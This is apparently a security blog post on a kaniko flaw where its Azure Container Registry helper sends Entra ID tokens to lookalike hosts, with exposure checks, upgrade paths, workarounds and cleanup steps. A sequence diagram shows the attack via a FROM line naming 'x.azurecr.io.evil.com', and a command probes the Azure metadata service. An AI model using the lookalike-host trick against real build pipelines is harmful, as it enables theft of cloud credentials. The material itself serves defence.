kaniko CVE-2026-105769 is a Critical (CVSS 9.3) flaw: kaniko's built-in Azure Container Registry helper can hand your build's Microsoft Entra ID access token to a lookalike host such as x.azurecr.io.attacker.com. One FROM line in a Dockerfile is enough. If you run kaniko in CI with any Azure identity in reach, move to the Chainguard fork 1.25.20 or later, or the osscontainertools fork v1.28.3 or later, today. The archived gcr.io/kaniko-project/executor images will not get a fix.
Written November 6, 2026. Facts checked on November 6, 2026 against the kaniko security advisory GHSA-5q7h-w9jf-cx97, the GitHub Advisory Database entry (reviewed November 5), the Go vulnerability entry GO-2026-6225, and the release pages of both kaniko forks. The commands below are standard kaniko, Kubernetes, Docker and Azure CLI commands. They were not run on a test cluster for this post, so check the output in your own environment.
What changed: kaniko CVE-2026-105769 in short
kaniko builds container images inside a container, without a Docker daemon. That is why it is popular in GitLab CI, Tekton, Argo and plain Kubernetes jobs. To pull from Azure Container Registry (ACR), it ships a credential helper called docker-credential-acr-env, written by a third party and no longer maintained.
That helper decides "is this an ACR host?" with an unanchored regular expression. Any hostname that merely contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. When it passes, the helper fetches an Entra ID token for Azure Resource Manager and POSTs it to https://<host>/oauth2/exchange.
| Field | Value |
|---|---|
| CVE | CVE-2026-105769 (GHSA-5q7h-w9jf-cx97) |
| Severity | Critical, CVSS 3.1 score 9.3 |
| Weakness | CWE-346 origin validation, CWE-522 credential protection |
| Fixed in | Chainguard fork 1.25.20; osscontainertools fork v1.28.3 |
| Upstream helper | GO-2026-6225, no fixed version |
Dates matter here, because the story spans three months:
- August 13, 2026: the osscontainertools fork ships v1.28.3 with "prevent Azure token disclosure to lookalike azurecr.io hostnames".
- August 18, 2026: the Go vulnerability database publishes GO-2026-6225 for the upstream helper, with no fixed version.
- October 27, 2026: the Chainguard fork tags v1.25.20 with a patched copy of the helper.
- November 2, 2026: the Chainguard fork publishes the advisory and CVE-2026-105769.
- November 5, 2026: GitHub reviews it into the Advisory Database, so Dependabot and scanners start flagging it.
How the token leaks
The attacker does not need a RUN step, a push, or even a reply asking for credentials. kaniko asks the helper for credentials before it contacts the registry. The helper is consulted for any registry that has no entry in the Docker config and is not Google or Amazon ECR.
View PlantUML source
@startuml
skinparam shadowing false
skinparam defaultFontSize 14
participant "Dockerfile" as D
participant "kaniko" as K
participant "ACR helper" as H
participant "Azure identity" as A
participant "Lookalike host" as X
D -> K : FROM x.azurecr.io.evil.com/img
K -> H : credentials for host?
H -> H : regex contains .azurecr.io
H -> A : get ARM token
A --> H : access token
H -> X : POST /oauth2/exchange + token
X --> X : attacker keeps token
@endumlWhat the attacker gets is a live Azure Resource Manager token. It works until it expires, with every role the identity holds. The advisory adds that the token can be exchanged at real ACR registries the identity can reach, and with AcrPush or higher, the attacker can push images. You do not need to use ACR at all to be exposed. You only need an Azure identity the build can reach.
Which kaniko builds are affected
There are now three kaniko lines. Google archived the original project on June 3, 2025, and two forks took over.
| kaniko line | Status for CVE-2026-105769 | What to do |
|---|---|---|
gcr.io/kaniko-project/executor (last v1.24.0) | Ships the same unmaintained helper, no fix coming | Migrate to a fork |
Chainguard fork (chainguard-dev/kaniko) | Fixed in 1.25.20 (latest 1.25.21, Nov 3) | Rebuild from 1.25.20+ |
| Chainguard paid images | Built from the Chainguard fork | Confirm kaniko 1.25.20+ |
| osscontainertools fork | Fixed in v1.28.3 (latest v1.29.0, Oct 25) | Pull v1.28.3+ |
A note on the first row. The archived repository's go.mod lists github.com/chrismellard/docker-credential-acr-env as a direct dependency, and its deploy/Dockerfile installs the same helper binary. No advisory covers the archived images, because nobody maintains them. Our reading is that they carry the same code path. The Chainguard README says the old gcr.io/kaniko-project images are "unmaintained and no longer updated", so treat them as unpatched.
The Chainguard fork publishes no images or binaries of its own. You build them yourself, or you buy Chainguard's kaniko images. The osscontainertools fork publishes images to ghcr.io/osscontainertools/kaniko and Docker Hub as martizih/kaniko. Its v1.28.3 notes describe the fix without the CVE number, which is why some scanners may not map it yet.
Check your exposure in four steps
All four conditions below have to line up. If any one is false, this CVE cannot leak a token from that build.
1. Find every kaniko image and version
Search your pipelines and manifests first:
grep -rnE 'kaniko-project/executor|osscontainertools/kaniko|martizih/kaniko|kaniko' \
.gitlab-ci.yml .github/ .tekton/ k8s/ charts/ 2>/dev/nullOn a cluster, list running pods that use a kaniko image:
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[*].image}{"\n"}{end}' \
| grep -i kanikoInside a debug image, the executor can print its own version:
/kaniko/executor versionA floating tag like :debug or :latest on gcr.io/kaniko-project/executor means v1.24.0 or older. That is affected.
2. Decide whether you build untrusted Dockerfiles
The risk is highest when someone outside your team can change the FROM line. That includes merge requests from forks, shared build services, and pipelines that pass the base image as a build argument (ARG BASE then FROM ${BASE}). If only your own reviewed main branch can trigger the job, the risk is lower, but the fix is still cheap.
3. Check whether an Azure identity is in reach
The helper can use any of these, per the advisory:
- Service principal:
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID - Federated workload identity (for example, AKS workload identity):
AZURE_FEDERATED_TOKENorAZURE_FEDERATED_TOKEN_FILEplus client and tenant IDs - Managed identity: the Instance Metadata Service at
169.254.169.254on AKS nodes and Azure VMs, orMSI_ENDPOINT
From a shell in the build container (the debug variant has a BusyBox shell):
env | grep -E '^(AZURE_|MSI_)' | sed 's/=.*/=<set>/'
wget -q -T 3 -O- --header 'Metadata: true' \
'http://169.254.169.254/metadata/instance?api-version=2021-02-01' >/dev/null \
&& echo "IMDS reachable" || echo "IMDS not reachable"The sed part hides the values so secrets do not end up in job logs. If either check finds something, the build has an Azure identity.
4. Look for credsStore set to acr-env
cat "${DOCKER_CONFIG:-/kaniko/.docker}/config.json"If you see "credsStore": "acr-env", the standalone helper binary is asked about every registry, not only Azure ones. That widens the hole.
Update to a fixed kaniko release
Pick the path that matches the line you found above. The flow below is the short version.
View PlantUML source
@startuml
skinparam shadowing false
skinparam defaultFontSize 14
start
:Find kaniko image;
if (Archived gcr.io image?) then (yes)
:Choose a fork;
else (no)
endif
if (Chainguard fork?) then (yes)
:Build 1.25.20+;
else (osscontainertools)
:Pull v1.28.3+;
endif
:Run test build;
:Rescan for GO-2026-6225;
stop
@endumlOption A: build the Chainguard fork yourself
The fork's Makefile has an images target that builds the executor, debug, slim and warmer images from deploy/Dockerfile. Build from a tag, not from main:
git clone https://github.com/chainguard-forks/kaniko.git
cd kaniko
git checkout v1.25.21
make images REGISTRY=<YOUR_REGISTRY>/kaniko
docker push <YOUR_REGISTRY>/kaniko/executor:debug
docker push <YOUR_REGISTRY>/kaniko/executor:latestREGISTRY defaults to gcr.io/kaniko-project, so always set it, or you will tag images with Google's old path. Pin your pipelines to an image digest after the push, so a later rebuild cannot change what runs.
Option B: switch to the osscontainertools images
This fork publishes ready-made images. A GitLab CI job could look like this:
build-image:
image:
name: ghcr.io/osscontainertools/kaniko:v1.29.0
entrypoint: [""]
script:
- /kaniko/executor
--context "$CI_PROJECT_DIR"
--dockerfile "$CI_PROJECT_DIR/Dockerfile"
--destination "<YOUR_REGISTRY>/app:$CI_COMMIT_SHORT_SHA"GitLab jobs need a shell. Check the fork's README for the tag that includes one (it has offered an -alpine variant since v1.28.0) before you switch. Also note one changed default: FF_KANIKO_PATH_SCOPED_REGISTRY_AUTH is true in this fork, so one host-level login entry no longer covers sibling namespaces. If pushes start returning 401, set it to false while you fix your auth config.
Option C: update the Go module
If you import kaniko as a library, bump the module and rescan:
go get github.com/chainguard-dev/kaniko@v1.25.20
go mod tidy
go run golang.org/x/vuln/cmd/govulncheck@latest ./...From 1.25.20, kaniko carries its own patched helper under third_party/docker-credential-acr-env and no longer depends on the upstream module. Scanners should stop reporting GO-2026-6225 once the old module is gone from your build.
Verify the fix
Run one normal build to a test tag. Then rescan the new image with the scanner you already use and confirm that neither CVE-2026-105769 nor GO-2026-6225 shows up. If you used Option A, also confirm the docker-credential-acr-env binary in the image came from the same build. The advisory says the executor, the warmer and that standalone binary all need the patched code.
For CI dependencies in general, pinning helps here too. Our guide to the GitHub Actions lockfile shows the same idea for workflow actions.
Workarounds if you cannot update today
These come from the advisory. Use them as a bridge, not a replacement.
| Workaround | What it closes | Catch |
|---|---|---|
AZURE_ENVIRONMENT=none | Helper fails before asking for a token | Built-in ACR auth stops working |
Remove AZURE_*, MSI_* vars | Service principal and MSI paths | IMDS still open on AKS or VMs |
Block 169.254.169.254 | Managed identity path | Needs a network policy engine |
credHelpers per host | Only the standalone binary path | In-executor helper still matches |
Set the environment variable on the kaniko container:
env:
- name: AZURE_ENVIRONMENT
value: "none"On Kubernetes, an egress policy can keep build pods away from the metadata service. This needs a CNI that enforces NetworkPolicy (Azure CNI with a policy engine, Calico or Cilium):
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: kaniko-no-imds
namespace: <YOUR_BUILD_NAMESPACE>
spec:
podSelector:
matchLabels:
app: kaniko
policyTypes: ["Egress"]
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except: ["169.254.169.254/32"]If you push to ACR and need the helper, replace a global credsStore with per-host entries for your own registries only:
{
"credHelpers": {
"<YOUR_REGISTRY>.azurecr.io": "acr-env"
}
}The advisory says this change closes only the standalone-binary path. The helper code linked inside the executor still uses the loose match, so you still need the update.
If untrusted builds already ran with an Azure identity
The advisory is blunt: treat any token issued to that identity during those builds as compromised. Rotating a client secret does not revoke an access token that was already issued. The token stays valid until it expires.
Step 1: search for lookalike hosts
This finds FROM lines where .azurecr.* is followed by more domain text instead of / or ::
grep -rnE 'FROM[[:space:]]+[^[:space:]]*\.azurecr\.(io|cn|de|us)[^/:[:space:]]' \
--include='Dockerfile*' --include='*.Dockerfile' .Check merge request history and build arguments too, not only the default branch.
Step 2: review the logs for the build window
Look at Entra ID sign-in logs for the identity, and the Azure activity log:
az monitor activity-log list \
--caller <YOUR_APP_OR_PRINCIPAL_ID> \
--start-time 2026-08-01T00:00:00Z \
--query "[].{time:eventTimestamp, op:operationName.value, status:status.value}" -o tableThe advisory names three things to look for: ACR pushes, role-assignment changes, and key or secret listings.
Step 3: rotate secrets and shrink the identity
Rotate what the identity could read: Key Vault secrets, storage keys and registry tokens in its scope. Then give the build identity AcrPull or AcrPush on one registry only, not Contributor on a subscription.
If you have handled a supply-chain cleanup before, the same order applies as in our LiteLLM 1.107.0 compromise guide: contain, check logs, rotate, then rebuild.
Troubleshooting after the update
| Problem | Likely cause | Fix |
|---|---|---|
| Scanner still reports GO-2026-6225 | Old binary or old module left in the image | Rebuild all images; run go mod tidy |
| ACR pull fails with "credentials not found" | Host is not an exact ACR name or host:port | Use the real <name>.azurecr.io host |
Push returns 401 on osscontainertools | Path-scoped registry auth default | Add auth per path, or FF_KANIKO_PATH_SCOPED_REGISTRY_AUTH=false |
| ACR auth stopped after the workaround | AZURE_ENVIRONMENT=none disables the helper | Remove it once you run a fixed kaniko |
| GitLab job fails with no shell | Image tag without a shell | Use a debug or shell variant |
FAQ
Is CVE-2026-105769 being exploited? We found no public report of attacks as of November 6, 2026. The GitHub Advisory Database lists an EPSS score of about 0.2%. The attack is simple, though, so any pipeline that builds untrusted Dockerfiles should be fixed now.
I don't use Azure. Am I affected? Only if an Azure identity can be reached from the build. Plain GitLab runners on AWS or Google Cloud with no AZURE_* variables and no Azure metadata service do not hand out Azure tokens. You still should move off the archived kaniko images, because they get no fixes at all.
My pipeline uses a copied kaniko CI template. Is it fixed? Not by itself. Check which image the template pulls. If it is gcr.io/kaniko-project/executor, you are on the archived line.
Is Chainguard 1.25.20 or osscontainertools v1.28.3 the better choice? Both contain the fix. Chainguard's fork is a maintenance fork with no prebuilt public images. The osscontainertools fork publishes images and adds features, but it also changes some defaults, so test a build first.
Should I replace kaniko entirely? That is a bigger decision. For this CVE, a fixed fork plus a least-privilege build identity is enough.
Summary
Find every kaniko image in your pipelines. If it is the archived gcr.io/kaniko-project/executor, or a fork older than Chainguard 1.25.20 or osscontainertools v1.28.3, update it. Until then, set AZURE_ENVIRONMENT=none and keep build pods away from Azure credentials and 169.254.169.254. If untrusted Dockerfiles ran next to an Azure identity, review the logs and rotate secrets, because an issued token cannot be revoked.
References
- GHSA-5q7h-w9jf-cx97: kaniko can send the build's Azure access token to lookalike ACR hosts — kaniko (Chainguard fork) security advisory, checked 2026-11-06
- GitHub Advisory Database entry for CVE-2026-105769 — GitHub, checked 2026-11-06
- GO-2026-6225 — Go vulnerability database, checked 2026-11-06
- kaniko releases (Chainguard fork) — v1.25.20 and v1.25.21, checked 2026-11-06
- kaniko README (Chainguard fork) — fork status and images, checked 2026-11-06
- kaniko v1.28.3 release (osscontainertools fork) — checked 2026-11-06
- osscontainertools/kaniko README — images and feature flags, checked 2026-11-06
- GoogleContainerTools/kaniko releases — archived June 3, 2025, checked 2026-11-06
- Network policies in Kubernetes — Kubernetes documentation, checked 2026-11-06
- az monitor activity-log list — Microsoft Learn, checked 2026-11-06







